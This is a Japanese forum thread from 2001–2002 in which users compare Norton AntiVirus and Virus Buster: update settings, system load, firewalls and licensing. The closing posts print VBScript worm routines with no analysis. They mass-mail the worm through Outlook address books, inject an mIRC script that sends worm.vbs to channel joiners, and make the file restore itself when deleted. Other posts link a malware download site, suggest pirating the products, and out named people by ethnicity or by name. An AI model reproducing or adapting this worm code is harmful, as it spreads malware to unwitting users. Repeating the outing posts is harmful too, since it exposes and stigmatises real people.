個人的にノートンには過去にレジストリをぐちゃぐちゃにされたりして良い印象がなくウイルスバスター98くらいからずっとトレンドマイクロにお世話になっていたんですがここの書き込みを見てノートンを入れてみました.
そこで質問なんですがノートンのLiveUpdateにはVB2002のように時間を指定して自動で更新みたいな機能はないんでしょうか?
LiveUpdateは手動でしろってこと?

297 :名無しさん@お腹いっぱい。:01/12/16 00:22
パソに電源入れると勝手に更新するよ。

298 :教えてクン:01/12/16 00:29
>>297
レスありがとね。
で,ずっと電源入れっぱなしのときはどうするの?
VBだと10分おきってな風に出来たんだけど・・・

299 :名無しさん@お腹いっぱい。:01/12/16 06:45
あのーノートン体験版を試用中なんですが、
ドライブ検索の時にブートレコードが読めませんって出てくるのは異常ですか?
マスターブートレコードは読めてるんですが普通のブートレコードはエラーがでるんです。
ついでに言うとC:D:両方です。

300 :名無しさん@お腹いっぱい。:01/12/16 07:00
>>299
OSの種類、ノートンのバージョン、ファイルシステムの種類、サードパーティ製のパーティーション分割ユーティリティを使用しているかどうか、その他システムを標準でない状態に改造しているかどうか、
そのくらいは報告してくれないと、判らんよ。

301 :名無しさん@お腹いっぱい。:01/12/16 10:02
>>298
開始時刻: **:**から24時間, 間隔: 分, 間隔: 毎日,

デフォルトで↑

302 :名無しさん@お腹いっぱい。:01/12/16 10:03
>>301
間隔は5分だ。

303 :ヘルプより抜粋:01/12/16 11:08
インターネットに接続されているときにデフォルトで自動 LiveUpdate は
4 時間ごとに更新されたウィルス定義があるかどうかをチェックします。
ISDN ルーターなどで自動接続を設定している場合、自動的に接続が行われ、
そのたびに電話料金がかかってしまいます。その場合、ルーターの自動接続を無効にするか、
自動 LiveUpdate を無効にしてください。

304 :名無しさん@お腹いっぱい。:01/12/16 14:38
>>303
ISDNを自動接続でクラッカーのパソに接続することって
できるの?あとこれが仕掛けられているかどうか判別する
方法も教えてほしい。

305 :名無しさん@お腹いっぱい。:01/12/16 20:57
age

306 :名無しさん@お腹いっぱい。:01/12/16 21:54
結局どっちなの?ノートン?バスター?
てめえら教えてください。

307 :名無しさん@お腹いっぱい。:01/12/16 22:20
>>308
会社 VB
自宅 VB --> Norton乗り換え
PCバンドルの「まっかふぃい」は削除ぉぉ!!

308 :教えてクン:01/12/16 23:31
>>300
OS:w2k+sp2,ノートンはSystemWorks2002についてるやつ(ヘルプのVerは8.00.58B)
ファイルシステムはFAT32,パーティション分割ツールは未使用デス.
会社もノートンのVerによってはLiveUpdateの時間とか設定出来るみたいだけど俺のには
そういう設定が見あたらないんです.
オプションの項目は自動アップデートを有効にするかどうかなどで間隔などの設定は見あたりません.
iniファイルを直接書き換えるタイプかな?

309 :299:01/12/16 23:42
おっとすいません。
OSはWin98SE Versionは2001体験版 特に弄っては無いですが、
ネットバイオスをオフにするために「マイクロソフトファミリー」
何とかをアンインストールしました。
ついでにいうと、FDISKでパーティションを分割した事があるんですが、
何ヶ月か前にデフォルトに戻しました。

310 :名無しさん@お腹いっぱい。:01/12/17 10:36
ノートンは問題多いけど、定義ファイルが1年過ぎても
使える(OSの再インストールで)がノートンを
捨てられない理由だったりして。
VBだときっちり年間会費取られるよね。

311 :名無し:01/12/17 11:27
定義ファイルはノートンの方が良心的だけど
WinXPが出て、それに伴って有料バージョンアップしないといけない
ノートンを買うべきか、2001から2002は無料アップの
VBを買うべきか。どっちが良心的?

312 :名無しさん@お腹いっぱい。:01/12/17 13:35
MXでさくっと落とすとか(ワラ

313 :名無しさん@お腹いっぱい。:01/12/17 14:08
>>312
この手のソフトはまずいんじゃねーの。(MXは全部まずいけど)

314 :名無しさん@お腹いっぱい。:01/12/17 18:12
俺のノートン
MXモノだよ(W

315 :名無しさん@お腹いっぱい。:01/12/17 21:11
>>314
タイーホ

316 :名無しさん@お腹いっぱい。:01/12/18 12:56
NAVユーザー。
つい先ほど、Liveupdateで定義ファイルを更新した。
相変わらずBADTRANSが来て感染ファイルを検疫したら、
これまで受信したメールが全て消えた。
ちなみにメーラーはBecky!ver2。
メールが消えたのはこれで3度目。
Liveupdateすればするほど、NAVとBecky!の相性が悪くなっていくような気がする。
検疫するたびにメールの受信フォルダが木っ端微塵に粉砕されるし。

でもBecky!はウィルス対策でバージョンアップされたね。
少し安心。

317 :名無しさん@お腹いっぱい。:01/12/18 15:14
>>316

既に見られたかもしれませんが、これのことかも。

http://pc.2ch.net/test/read.cgi/sec/1008355163/44

318 :名無しさん@お腹いっぱい。:01/12/18 18:54
Norton AntiVirus 2002とウイルスバスター2002の機能は
ほぼ同等と思っていいのでしょうか?

どちらもファイアーウオール機能はないですよね?

319 :っy:01/12/18 18:54
///////////////////

■ 全国のハッカー&荒らし集合!! ■




http://kgy999.ath.cx/cgi-bin/1/2.cgi
史上最悪のUG掲示板

/////////////////////


;;;
;;;;;;

320 :名無しさん@お腹いっぱい。:01/12/18 19:48
>>318
ウィルスバスター2002にはあるよ。

321 :318:01/12/18 19:52
http://www.trendmicro.co.jp/product/vb2002/index.asp

本当だ、
ここに「ブロードバンド時代のために進化したパーソナルファイアウォール 」って書いてある。

ファイアーウオールもウィルス対策も兼ねているならずいぶんとおトクですね。
過去ログ読むと
ノートン先生>バスターらしいけど。
バスター買っちゃおうかな(ワラ

ところで、どうしてノートン先生なのですか??

322 :名無しさん@お腹いっぱい。:01/12/18 21:12
バスターのFWはおまけみたいなもんで、細かい設定はできないらしい。

323 :教えてクン:01/12/18 21:15
vb2002のFirewallはダメダメよん.
フリーのZoneAlarmの方がまだいいよ

324 :321:01/12/18 22:25
さっそくZoneAlarmをダウンロードしてます。
まわり、英語ばっかりだけど
何とかなるかしら(笑

325 :スレ違いsage:01/12/18 23:18
>>324
日本語化パッチがある
スレ違いなので詳しくは↓で調べて
ZoneAlarm Part3
http://pc.2ch.net/test/read.cgi/sec/1006399748/

326 :名無しさん:01/12/19 01:39
ノートンの2001を中古で買いたいのですが
ユーザー登録が出来ませんと言われました。
これって、致命的なことでしょうか?

327 :名無しさん@お腹いっぱい。:01/12/19 01:41
アンチウイルスソフトの中古なんて売ってるのか(w

328 :名無しさん@お腹いっぱい。:01/12/19 01:56
MXで検索かけると、VBの尻(制限なし)とかいうのがゴロゴロでてくる

329 :名無しさん@お腹いっぱい。:01/12/19 03:37
>310-311
俺、定義ファイル買った直後にOS再インストールしたもんだから
使用期限がリセットされて、更新料がまる損になっちゃった事があるよ。鬱死。

330 :名無しさん@お腹いっぱい。:01/12/19 04:23
>>326
ユーザー登録せんでも使えるよ。

331 :名無しさん@お腹いっぱい。:01/12/19 10:32
バスターとぞぬは共存できないんじゃなかったっけ?

332 :名無しさん@お腹いっぱい。:01/12/19 16:47
>>329
シマンテックに言えば良かったのに

333 :名無しさん@お腹いっぱい。:01/12/19 17:15
>>332
それはそれでまずそうだが。

334 :名無しさん@お腹いっぱい。:01/12/19 18:20
バスター体験版を入れたら、ネットワークに繋がらなくなっちゃった・・・

335 :334:01/12/20 12:25
繋がった。簡単なことだった・・・(汗

336 :名無しさん@お腹いっぱい。:01/12/20 22:27
ノートンって複数台のPCにインスト出来て、どれも定義更新も出来るの?

337 :A助様 ◆QBxsCmSs :01/12/21 09:52
>>336
アポー

338 :jk:01/12/21 10:23
オススメ!
http://k-server.org/idolst/

339 :332:01/12/21 18:44
>>333
どこかまずいか?>>329は正規の料金払ってダウンロード期間延長したんだろ。
だったらシマンテックに再インストールした際にリセットされてしまったことを申し出て
キー再送付など対応してもらえばいい。残りの期間分使う権利がある。

340 :名無しさん@お腹いっぱい。:01/12/21 23:51
まかひーならID訊かれないが?(藁

341 :名無しさん@お腹いっぱい。:01/12/24 00:05
VBのサイトにツナガラネーヨ

342 :名無しさん@お腹いっぱい。:01/12/24 06:28
厨房な質問させてください。
私の環境下では、VB2002とNIS2002とではどちらが重い?
軽い方を選びたいと思うので、よきアドバイスを。

私の環境
ルーター:WLAR−L11G−L(メルコ製。一台目が有線接続、2台目が無線接続)
OS:Win98SE
パソコン:ペンティアム3−450、メモリー192M(NEC製ノート)

343 :名無しさん@お腹いっぱい。:01/12/24 07:37
クライアントの統合管理考えるとなんかマカが一番いいような・・・。
VBのコーポレートは結構ショボイし、ノートンは高いし。
マカはだめなんかい?

344 :名無しさん@お腹いっぱい。:01/12/24 08:01
>>343
McAfeeを使いやすいと感じるかどうかの問題は、
ほぼ全面的に使用者のスキルに依存する。

#厨房にはバスターを推薦しておくのが無難。

345 :名無しさん@お腹いっぱい。:01/12/27 09:39
定期age

・・・つーか、そろそろ勝者

346 :名無し~3.EXE:01/12/27 10:16
あのな、win98でNISはムリ
重すぎて、何もできない。
オレは、全部試して見たが(マジ)NAVだけってのが快適。
そのつぎに、WB。
NISは、一度入れると、アンインストできない(してもクソ重いし、
システム不安定になる)ので、NAVだけ入れるように。

347 :  :01/12/27 14:06
ノートンインターネットセキュリティー2001をwin2000で使ってたけど、
winxpを新規インストールしたら2001がインストールできなくなりました。
2002に買い換えなければいけないということでしょうか?
またその場合、優待販売とかありますか?
優待販売があるとして2パック買えば、二台に優待価格で入れられますか?
red見終わった人、教えてください。

348 :  :01/12/27 14:08
やっぱ、誤爆ですよね?別スレにいってくるので
マルチといわないでね。

349 :名無しさん@お腹いっぱい。:01/12/27 14:20
>>346
アンインスト できないのか?

350 :名無しさん@お腹いっぱい。:01/12/27 16:29
>>346
WB って何?

351 :名無しさん@お腹いっぱい。:01/12/27 18:01
>>350
ホワイトベース

352 :名無しさん@お腹いっぱい。:01/12/27 18:22
>>346
おれもNISアンインストしたけど、クソ重いままなので
リカバリしました。
買って損したよ。

353 :名無しさん@お腹いっぱい。:01/12/28 03:14
98SE+NIS2002で快適に動いてますが何か?

354 :名無しさん@お腹いっぱい。 :01/12/28 07:30
>>350
VB

355 :名無しさん@お腹いっぱい。:01/12/28 08:51
>353
起動時にリソース何lくらいですか?
参考にしたいので。

356 :名無しさん@お腹いっぱい。:01/12/28 22:20
win98 penU300 64 NIS2002で起動時リソース80%あるよ
もちろん、かなり削って軽くしたけどね

357 :結論?:01/12/28 22:44
windowsに元からウイルス対策を入れといてもらいたいな

358 :名無しさん@お腹いっぱい。:01/12/28 23:15
>>357
M$が作ったアンチウィルスソフトは穴だらけになるんじゃないか?(w

359 :結論?:01/12/28 23:40
>>358
そうですね・・毎日パッチが出てたりして(W

360 :名無しさん@お腹いっぱい。:01/12/29 00:04
>>356
MYPC
win98SE PENV500Mhz 512MB NIS2001体験
起動時リソース75%

これで重く感じるんだが・・。速さって人によって感じ方違うからな。

361 :名無しさん@お腹いっぱい。:01/12/29 01:00
もちろん、NISやVBは入れたら重くなるよ。
98はリソースが大事だから、いかに削るかがポイント。
無くてもいいものは、とことん削るべし。
最初から無かったものと思えばよろし。

362 :名無しさん@お腹いっぱい。:01/12/29 02:00
XPでリソース見るにはどうしたらいいの?

363 :名無しさん@お腹いっぱい。:01/12/29 02:17
>>343
コーポレート製品はsymantecでないんかいな。
集中管理機能の充実から考えると。

数十台だったらどうにでもなるが、ワシは500台以上の
メンドウをみないとならんからパターンファイル更新とか
ユーザに任せたままっつーのは不安だ。

364 :名無しさん@お腹いっぱい。:01/12/29 10:57
シマンテックのサポートは来年1/4までお休みです

365 :名無しさん@お腹いっぱい。:01/12/29 21:36
ノートンは期限切れになったら一度アンインストールして再インストすれば
また使いつづけられるというのは本当ですか?

366 :名無しさん@お腹いっぱい。:01/12/29 21:54
可能です

367 :名無しさん@お腹いっぱい。:01/12/29 22:23
>364
その下に通常サポートは無いけど
正月ウイルス相談窓口はあるって書いてあるよ、シマンテック。
つながりにくいかもしらんけどさ。
今年の正月ウイルス新種でるのかなァ・・・。なんか多いねこの頃急に。
これ、
http://www.symantec.com/region/jp/support/year2002/index.html

368 :365:01/12/29 22:31
>>366
回答ありがとうございます、ところでバスターはその方法は可能でしょうか?

369 :名無しさん@お腹いっぱい。:01/12/29 22:50
>368
念のため書くけどOSをインストールし直すってことですからね<ノートン
バスターは不可

370 :365:01/12/29 23:19
>>369
やはり世の中甘くないですね、わざさわOSを再インストですか
それは厳しい
何度も回答ありがとうございました
ちなみに現在はマカフィの5.1使っています重すぎて使い物にならないから
切ってます

371 :名無しさん@お腹いっぱい。:01/12/29 23:53
>>367
新種のウイルス専用とは書いてあるが
普通の質問でかけたら答えてくれるのかな?

372 :1:01/12/30 01:02

バスターの勝ち

373 :367:01/12/30 01:21
>371
HPだとあくまで緊急対策のものっぽいよね。
かかっちゃった人向け?
わからなくてすませんです。

374 :名無しさん@お腹いっぱい。:01/12/30 05:23
http://www.laox.ne.jp/campaign/yomiurisale/3_1.html
買え

375 :名無しさん@お腹いっぱい。:01/12/30 06:28
McAfee VirusScan 5.1は
CPU性能によって体感速度がだいぶ違うらしいね。
ペンティアム233MHzのうちでは
重すぎてとても常駐させられないんだが、
高性能なマシンの人は
「軽すぎて動いているのかどうか判らない」って感じるようだ。

一方、Norton InternetSecurity2001は
ハイスペックな人ほど「重い」と思い込む。
あれはAIエンジンでスキャン回数を減らす工夫をしているが、
反面、ユーザーリソースを結構食っているから、
その辺で感想に差が出てくるみたいだな。

376 :名無しさん@お腹いっぱい。:02/01/01 01:07
新年のage

377 :名無しさん@お腹いっぱい。:02/01/02 00:07
バスターやノートンってCMしてますっけ?

378 :名無しさん@お腹いっぱい。:02/01/02 00:20
>>377
ノートンは見たことある。
フォーチュン500社の95%がとかいうやつ。

379 :名無しさん@お腹いっぱい。:02/01/02 14:46
>>371
1/4にシマンテックのサポートに電話かけたら
混雑してますかね?

380 :名無しさん@お腹いっぱい。:02/01/03 12:06
>>379
メールで質問しても、たまってるのかな

381 :名無しさん@お腹いっぱい。:02/01/05 05:11
初心者の質問なんですが
Meの時代はNorton AntiVirusの常駐ソフトを使ってました
Xpにアップして無くなりましたから、ノートン体験版を使い
期限終了時にバスター体験版に乗り換えました。(もうすぐ期限が切れます)
ノートンのクロスアップ(名前には自身がありませんが
ウイルスソフトを入れてると使える通常より安い物)
を購入しても問題なく使えますか?

382 :混乱と混乱:02/01/05 22:34
明日買いに行くので、どっちがいいのか教えて♪
2chだと、ノートンの方がいいみたいだけど。
ちなみに、両方とも体験版試しました。

ノートンよく警告がでる。
バスター警告でない。

ウイルス検索は同等なの?

383 :名無しさん@お腹いっぱい。:02/01/06 00:16
バスターはバスターだけだけど(謎)
ノートンはいろいろな組み合わせがあるからオススメ!

384 :名無しさん@お腹いっぱい。:02/01/06 00:21
バスターはウィルス検索しながら他の作業が出来ない。何とかしろ。
ノーdは出来たぞ。

385 :混乱と混乱:02/01/06 00:23
やっぱりノートンなんですか。

386 :名無しさん@お腹いっぱい。:02/01/06 02:47
消去法でノートン。

387 :名無しさん@お腹いっぱい。:02/01/06 02:57
188 名前:名無しさん? :02/01/06 02:50 ID:???
逝った板→人権問題
感想→靴日記のコピペ嵐がウザイ


189 名前:名無しさん? :02/01/06 02:51 ID:???
逝った板→ファション
感想→部落民のコピペ嵐がウザイ


190 名前:名無しさん? :02/01/06 02:53 ID:???
逝った板→ビジネスソフト(ノーツ・ドミノってどうよ? その2)
感想→靴日記のコピペ嵐と部落民のコピペ嵐がウザイ

388 :名無しさん@お腹いっぱい。:02/01/06 03:39
>>387
君が一番ウザイ

389 :名無しさん@お腹いっぱい。:02/01/06 06:17
VB2002はペン200クラスには重いんだけど・・
でも、体験版入れてえらい目にあったのーとん
よりは信頼できそうだから使ってるヨ。
特にVB2002のクローキング機能ってよく判らん
けど、なんかハッカーに勝った気がしてスキ。

390 :名無しさん@お腹いっぱい。:02/01/06 06:26
スキルがあればTinyを使うのもいいよ

391 :名無しさん@お腹いっぱい。:02/01/06 07:26
ここ見れ。

http://cnet.sphere.ne.jp/JustIn/jp_soft/011226/index.html

バスター初心者向け、Norton中級者向け、マカフィ―めんどくさくて低機能・・・、
ってことで決着だね。

392 :名無しさん@お腹いっぱい。:02/01/06 09:50
ノートン・パーソナルファイアウォール2002と
ゾヌはどっちがいいんかね?

393 :名無しさん@お腹いっぱい。:02/01/06 10:10
>>392
過去ログ読んで判断しろヴォケ

394 :名無しさん@お腹いっぱい。:02/01/06 10:49
過去ログなぁんて読まねんだよ。
何度も同じ話繰り返せばいいんだよ。

395 : :02/01/06 10:54
       ∧_∧      ∧_∧
      _( ´∀`)    (´∀` )
  三 G´    _ノ⊃   ( >>1 )   糞スレは・・
     / /)  )        | |  |
      〈_)\_)       (__(___)

         ∧_∧  .∧_∧
         (  ´∀) (´д` )
       ≡≡三 三ニ⌒) >>1 .)    立てんなって
        /  /)  )  ̄.| |  |
        〈__)__)  (__(___)

         Λ_Λ             ∧_∧
        ( ´∀`)と思ったけど      (´∀`;)
        (    )いいスレじゃん   ( >>1 こつ
        | | |             ( (|  |
        (__)_)             し'(__)

396 :1:02/01/06 10:56

東大阪在日芸能人 池脇千鶴(アイドル)→英田
川原亜矢子(女優、モデル)→縄手北
井手敏男(レーサー)→英田
黒田有(漫才師)→英田
中村あゆみ(歌手)→枚岡
つんく(歌手)→長栄
未知やすえ(吉本新喜劇)→楠根
仲根かすみ(アイドル)→孔舎衛
松井稼頭央(プロ野球選手)→若江
粉谷修(漫才師)→若江
元木由記雄(ラグビー選手)→英田
真中瞳(タレント)→玉川
7HOUSEの中の一人(歌手)→若江
DREAMの中の一人(アイドル)→盾津

397 :名無しさん@お腹いっぱい。:02/01/06 12:25
次は石切 石切です

398 : :02/01/06 21:28
test

399 :名無しさん@お腹いっぱい。:02/01/06 23:02
>>363
パターンファイルの集中管理ならマカやVBでもできるでしょ?
あと >>343 は「ノートンは高い」って書いてない?

400 :名無しさん@お腹いっぱい。:02/01/07 13:44
age

401 :名無しさん@お腹いっぱい。:02/01/07 14:29
WIN98でペンU266、メモリ128の環境でノートンインターネットセキュリティ2002の相性良かった。。
2001より動作軽いね。
なかなか高性能で満足〜♪

402 :名無しさん@お腹いっぱい。:02/01/07 14:35
日頃より CYBALION をご愛顧下さり誠にありがとうございます。

さて、そろそろ毎年恒例のオフ会の季節がやってきました。
いつもなら忘年会で、飲んだくれ→深夜ファミレスで始発待ち、という危険なパターンなのでどーせなら温泉とかで一泊しながら盛り上がろうと考えてます。
家主の怠慢で内容はほとんど決まってません(^^;

 日程 : 2002年1月12日(土)〜13日(日) 「決定」
 場所 : 静岡・熱海 周辺
 会費 : 10,000 yen 以内
 幹事 : ななちゃん、Tama

403 :名無しさん@お腹いっぱい。:02/01/07 20:03
>>363
外出かもしれんが、シマンテックのコーポレート製品ありますよ。
http://www.symantec.com/region/jp/products/nav_es/composition.html

404 :名無しさん@お腹いっぱい。:02/01/08 00:49
http://www2.plala.or.jp/MIZUKI-NAKATA/aubercy-hole-n-tate.jpg

405 :名無しさん@お腹いっぱい。:02/01/08 01:28
ノートンアンチウィルス2002いれたらWordが不正終了するようになった。
アンインストールしたら直った。
よってマカフィーに1票。

406 :名無しさん@お腹いっぱい。:02/01/09 06:43
>>405
童貞ですか・・・?

407 :名無しさん@お腹いっぱい。:02/01/09 10:49
2002/01/08(火)
Natural
会社のお昼休みに銀行に行ってきました。
その帰り道、LAWSON が店じまいしてました。
こんな好条件なところで閉店とは…
なんて思いながら横を通ると、
新しくできる店舗も LAWSON。
でも看板が青くないんです。赤いんです。
赤い LAWSON。その名も Natural LAWSON。
早速 LAWSON のサイトをチェック。
どこにも Natural LAWSON について書かれていません。
だったら検索エンジンで調べてみよう。
ということで見つけたのがこちら。because。
「厳選した商品とカラダに良い食品や日用品をたくさん揃えたお店」
だそうだ。
どうみてもターゲットを女性に絞った店づくり。
店舗が完成したらちょっと覗いてみようと思う。

408 :名無しさん@お腹いっぱい。:02/01/09 10:57
506 :名無しさん@お腹いっぱい。 :01/12/26 21:37
写真がないけど・・

東京大学大学院教育学研究科(教育心理学コース)
榊 美智子さん

ロングヘヤーで、めちゃめちゃ可愛いです。


507 :名無しさん@お腹いっぱい。 :01/12/26 21:39

(誤)         (訂正)
榊 美智子さん → 榊 美知子さん 

409 :&rlo; イイ!)・∀・( &lro;:02/01/09 17:18
・・・

410 :名無しさん@お腹いっぱい。:02/01/09 23:26
2002/01/09(水)
ダウンしちゃいました。ダメです。風邪もらっちゃいました。昨日から寒気が始まったので、今日は午後半休をもらって
いまは布団の中から更新中です。午後半休をもらったので、ついでに DDIPocket に行って
C@rdH"64 petit を解約してきました。実家に帰ってもつながらないし、ISDN のアクセスポイントにも
つなげることができない。PIAFS 対応のアクセスポイントだけだからというのが解約理由。
その帰りに MC-P300 を契約。
AirH" です。つなげ放題です。まだ箱を開けてカードを取り出しただけでつなげていないんですが。
明日にでも使ってみようと思ってます。

411 :ヴァスタァ:02/01/11 14:19
ウィルスバスターコーポレートエディションで
特定の拡張子のみ検索しない用にすることって出来ないのでしょうか?
どなたかご教授願います。

412 :名無しさん@お腹いっぱい。:02/01/11 15:15
>>411
サーバ側の管理画面で普通に設定できなかったっけ?

413 :名無しさん:02/01/13 14:53
ノートンアンチウィルスってWIN95では使えないってホント?
だったら、必然的にバスターになっちゃうんだけど・・・。

414 :名無しさん@お腹いっぱい。:02/01/13 15:38
ああ>>413

415 :NAV+Tiny+Proxomitron:02/01/13 15:52
>>413
NAV2002は使えない。だからNAV2002にはNAV2001が同梱されてる。

416 :>413:02/01/13 17:57
OSR2でないと使えない。

417 :名無しさん@お腹いっぱい。:02/01/13 20:25
test

418 :名無しさん@お腹いっぱい。:02/01/13 21:38
○ファナティックさん
元祖MTです。って何の元祖なのでしょ?(笑)
今年の爆買い王は早くも ちゃーさんに決まったようなものなので(マッハさんは別格)、私はのんびり余生をば...。
Shannonは去年注文された分ですよね?大丈夫です(何が?)、それは今年の数には入りません(根拠無(^^;)、
安心して#2466Darby逝っちゃってください。ハンドル通り熱狂のGet報告お待ちしております(笑)
オークションで狙われていたブツは
ttp://page.auctions.yahoo.co.jp/jp/auction/40770064
ですよね?。
(終了しているためyahfooのIDをお持ちでないかたは見れませんが)
これダブルレザーに張り替えてカントリーっぽくしたらきっとカッコイイかなと思って見おりました。
最近は欲しいブツはサイズが合わずでなかなか、これっ!っていうのが出てきません。
まぁ、一年は長いです。先立つものも枯渇気味なので気長に逝きますです。

419 :名無しさん:02/01/14 00:13
>>414-416
ありがとうございます。
2001をインストールできました。
(パッケージにはそんなこと書いてなかった気がする・・・)
これで無事ノートンユーザーになれました。
これでやっとおもいっきりメールが開けます。

420 :名無しさん@お腹いっぱい。:02/01/14 12:45
詳細が少し決まりました。

----------

幹事:naoco さん // さすらいの名幹事
副幹事:ななちゃん // 東京担当
参加者のとりまとめは Brown Sugar が行います。

日程:
2002/1/26(土)
Brown Sugar の仕事の都合上 2/2(土)になってしまう可能性が
20% ほどあります。

場所:
有楽町 or 新宿周辺
どっちにするかはまだ決めてません。

参加者(敬称略):
naoco
ななちゃん
Clio
冬雪
Brown Sugar
るう。(強制)
markun(強制)
SHG(義務)
Tama(予定)

----------

まだまだ募集しております。

421 :先生!!:02/01/18 19:37
Norton AntiVirus 2002 を Windows 2000 に入れたんですが、
BEEP が PC スピーカから鳴るようになっちゃいました!
例えば、トレイアイコンのスピーカをシングルクリックして出てくる
音量調節のゲージをクリックすると、これまでは BEEP の WAV が
鳴っていたんですが、それが PC スピーカから鳴っちゃうんです!
どうすれば治るんですか、先生!

422 :先生!!:02/01/18 20:03
>>421
事故解決したです

423 :419:02/01/18 20:23
2002の単体のパッケージの赤い蓋のとこに小さくかいてある。

http://service2.symantec.co.jp/consumer/support-kb.nsf/
KBLPF/99AEEA3B816DF41C49256AFF005CF424?OpenDocument&PRODUCT=
Norton%20AntiVirus2001



424 :名無しさん@お腹いっぱい。:02/01/19 04:12
ノートン・インターネット・セキュリティ2002だけはやめとけ。


425 :名無しさん@お腹いっぱい。:02/01/19 14:28
>>424
 なぜ?  Version Down 2001 のほうがお勧め?


 それともバスターの営業かい?

426 :ななしさん:02/01/19 16:02
ノートンとバスターの実力が知りたいです。

http://www.ebcvg.com/vx_exe.html
すべて見つけられるのでしょうか?
お暇な方は、一つずつ調べて、
引っかからないものだけ教えてください。

427 :名無しさん@お腹いっぱい。:02/01/19 17:50
>>426
その情報私も禿げしく希望
誰か暇な人調べて


428 :ななしさん:02/01/19 22:15
その後 http://www.ebcvg.com/vx_exe.html へ逝ってみると
「File Not Found」になっていたので、閉鎖されたんだと安心した。

でも、よく調べると、
http://www.ebcvg.com/binary.php へ移動されただけだった。
しかも増えている。205種もある。なんてこった・・・

誰も調べて頂けそうにないので、今、おそるおそるテストしてます。
この中に、検査に引っかからないものも、実際ありました。
ノートンとバスターに頼っているだけでは、安心できません。


429 :名無しさんに接続中…:02/01/19 23:11
「ななしさん」、ガムバッテNe!
結果ヨロシコです〜!

430 :名無しさん@お腹いっぱい。:02/01/19 23:22
直リン貼るなよボケナス!
氏ね!!>>428
鯖移転する前は、もっと置いてあったわぃ!
検出できない奴有るからって、別に不思議でもなんでもないけ。



431 :名無しさん@お腹いっぱい。:02/01/20 02:21
そのHP見てたらNIS2001がアタック検出したぞ!
怖い怖い(;´_`;)

432 :名無しさん@お腹いっぱい。:02/01/20 02:56
とか言いながら全部DLしてCDRに焼いてテストした。
まあ圧縮ファイルだったから問題はないだろう。

Norton Antivirus 2001 体験版・・・205個全部検出
Antidote・・・・・・・・・・・・・・209個検出(アレ?)

ていうか、ノートンがDocuments and Settings\ユーザー名\Local Settings\Tempから
ウイルス大量検出(笑)

433 :絶対つかわん脳豚:02/01/20 03:54
脳ー豚にレジストリを破壊されました・・・
二度としまんてっくのアプリなんぞ見たくねー!

つうことで、バスターにたよりきり。

434 :名無しさん@お腹いっぱい。:02/01/20 04:00
ノートンが検疫して隔離したウイルスをAntidoteが検出した。
ノートン自身は検出しなかったのだが、、、

435 :Empire248はBloodhoundFileString:02/01/20 04:54
Norton AntiVirus には Bloodhound と呼ばれる新しい技術が用意されています。
Bloodhound は新種の未知のウィルスに対する保護を飛躍的に向上します。
マウスでスライダーを動かして Bloodhound の感度を調整できます。
Bloodhound はファイルを個々の論理域に分けて検索し、
プログラム論理にウィルスらしい活動がないかどうかを分析します。
Bloodhound は未知のウィルスを高い確率で検出します。
さらに Norton AntiVirus はコンピュータ上に通常ウィルスが
実行する活動がないかどうかを監視することによって未知のウィルスを
検出します。疑わしい活動を検出すると Norton AntiVirus はその動作が
続行しないように防止します。

436 :Bloodhoundの説明:02/01/20 05:00
http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html

http://www.symantec.com/avcenter/reference/heuristc.pdf


437 : :02/01/20 14:28


438 : Vbswg :02/01/20 16:58
Function OutlookBody()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
I = 1
Do While Myself.atendofstream = False
MyLine = Myself.readline
Code = Code & Chr(34) & " & vbcrlf & " & Chr(34) &
Replace(MyLine, Chr(34), Chr(34) & "&chr(34)&" &
Chr(34))
Loop
Myself.Close

Lots of lines of code to create an HTML page which contains
the source code of the worm. The variable is called HtmlBody

Set mapi = Outlook.GetNameSpace("MAPI")
Set Mapiadd=mapi.AddressLists
For Each Addresslist In Mapiadd
If Addresslist.AddressEntries.Count <> 0 Then
AddCount = Addresslist.AddressEntries.Count
Set Msg = Outlook.CreateItem(0)
Msg.Subject = "Subject"
Msg.HtmlBody = HtmlBody
Msg.DeleteAfterSubmit = True
For II = 1 To AddCount
Set Addentry = Addresslist.AddressEntries(II)
If AddCount = 1 Then
Msg.BCC = Addentry.Address
Else
Msg.BCC = Msg.BCC & "; " & Addentry.Address
End If
Next
Msg.send
End If
Next
Outlook.Quit
End If
End Function


439 :kaizer :02/01/20 17:05
Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set Mapi = OutlookApp.GetNameSpace("MAPI")
set mapiadlist as Mapi.AddressLists
For Each Addresslist In mapiadlist
If Addresslist.AddressEntries.Count <> 0 Then
Addresslistcout = Addresslist.AddressEntries.Count
For AddList = 1 To Addresslistcout
Set msg = OutlookApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
msg.To = AdEntries.Address
msg.Subject = "Subject"
msg.Body = "Message Body"
set Attachs=msg.Attachments
Attachs.Add "c:\window\worm.vbs"
msg.DeleteAfterSubmit = True
If msg.To <> "" Then
msg.Send
End If
Next
registry.regwrite "HKCU\software\myworm\mailed", "1"
End If
Next
End If
End Function

440 :VBS Worms Generator:02/01/20 17:06
Function Mirc(Path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If Path = "" Then
If fso.fileexists("c:\mirc\mirc.ini") Then
Path = "c:\mirc"
End If
If fso.fileexists("c:\mirc32\mirc.ini") Then
Path = "c:\mirc32"
End If
PfDir=ws.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\ProgramFilesDir")
If fso.fileexists(PfDir & "\mirc\mirc.ini") Then
Path = PfDir & "\mirc"
End If
End If
If Path <> "" Then
Set Script = fso.CreateTextFile(Path & "\script.ini", True)
Script.writeline "[script]"
Script.writeline "n0=on 1:JOIN:#:{"
Script.writeline "n1= /if ( $nick == $me ) { halt }"
Script.writeline "n2= /." & chr(100) & chr(99) & chr(99) &
" send $nick c:\windows\worm.vbs"
Script.writeline "n3=}"
Script.Close
End If
End Function

441 :VBS Worms Generator:02/01/20 17:08
Function Antidelete()
Set fso = CreateObject("scripting.filesystemobject")
Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
MyCode = Myself.readall
Myself.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set Myself= fso.createtextfile(wscript.scriptfullname, True)
Myself.write MyCode
Myself.Close
End If
Loop
End Function

442 :VBS Worms Generator:02/01/20 17:10
